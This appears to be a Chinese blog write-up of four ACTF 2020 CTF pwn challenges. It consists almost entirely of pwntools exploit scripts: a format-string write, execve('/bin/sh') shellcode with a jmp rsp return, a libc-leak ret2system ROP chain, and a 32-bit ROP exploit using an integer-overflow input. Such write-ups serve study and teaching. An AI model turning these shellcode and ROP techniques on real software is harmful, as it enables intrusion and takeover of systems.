ACTF 2020 pwn

fmt32
shellcode
chk_rop
simple_rop

@TOC
太菜了，只会写模板题

fmt32

格式化字符串模板题

#!/usr/bin/env python2
from pwn import *

arch = "i386"
filename = "fmt32"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
a1_addr=0x0804A070
a2_addr=0x0804A06C

# libc

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    payload=p32(a1_addr)+p32(a2_addr)+b'%12$n'
    payload+=b'%8x%11$n'
    print(len(payload))
    io.sendline(payload)
    io.interactive()
main()

shellcode

栈迁移（jmp rsp上面刚好有一条指令把栈的位置减到shellcode的地方）

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "shellcode"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)

# libc

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    payload=b'\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'
    payload=payload.ljust(0x28,b'a')
    payload+=p64(0x000000000040070B)
    print(len(payload))
    io.send(payload)
    io.interactive()
main()

chk_rop

#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "amd64"
filename = "chk_rop"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
pop_rdi=0x00000000004009d3
# libc
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg_libc=[0x45226,0x4527a,0xf0364,0xf1207]
def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    #####leak_libc#####
    io.recvuntil("Give you a gift...")
    #gdb.attach(io,b'b __printf_chk')
    io.sendline(b'%p%p')
    io.recvuntil(b'0x')
    io.recvuntil(b'0x')
    __read_nocancel=int(io.recv(12),16)-0x10
    print("__read_nocancel:", hex(__read_nocancel))
    #__libc_start_main=int(io.recv(14),16)-240
    #print("__libc_start_main:",hex(__libc_start_main))
    #####count#####
    #libcbase=__libc_start_main-libc.symbols['__libc_start_main']
    libcbase=__read_nocancel-libc.symbols['read']
    print("libcbase:",hex(libcbase))
    ogg_addr=libcbase+ogg_libc[3]
    sys_addr=libcbase+libc.symbols['system']
    binsh_addr=libcbase+next(libc.search(b'/bin/sh'))
    #####getshell#####
    io.recvuntil("Tell me U filename\n")
    io.sendline(b'a'*(0xf))
    io.recvuntil("And the content:\n")
    payload =b'a'*(0x50+8)+p64(pop_rdi)+p64(binsh_addr)+p64(sys_addr) #p64(ogg_addr)
    io.sendline(payload)
    io.interactive()
main()

simple_rop

#!/usr/bin/env python2
# coding=utf-8
from pwn import *

arch = "i386"
filename = "simple_rop"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
binsh_addr=0x0804A050
call_sys_addr=0x080487EF

# libc

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    #%50概率绕过v6造成的返回地址不确定，两种都试一下就%100了，哈哈
    #payload=p32(call_sys_addr)+p32(binsh_addr)
    payload=p32(binsh_addr)+p32(call_sys_addr)
    payload=payload*6
    io.send(payload)
    io.recvuntil("Give you a cursor: \n")
    io.sendline("-2147483648")
    io.interactive()
main()

-------------本文结束感谢您的阅读-------------

赏

谢谢你请我吃糖果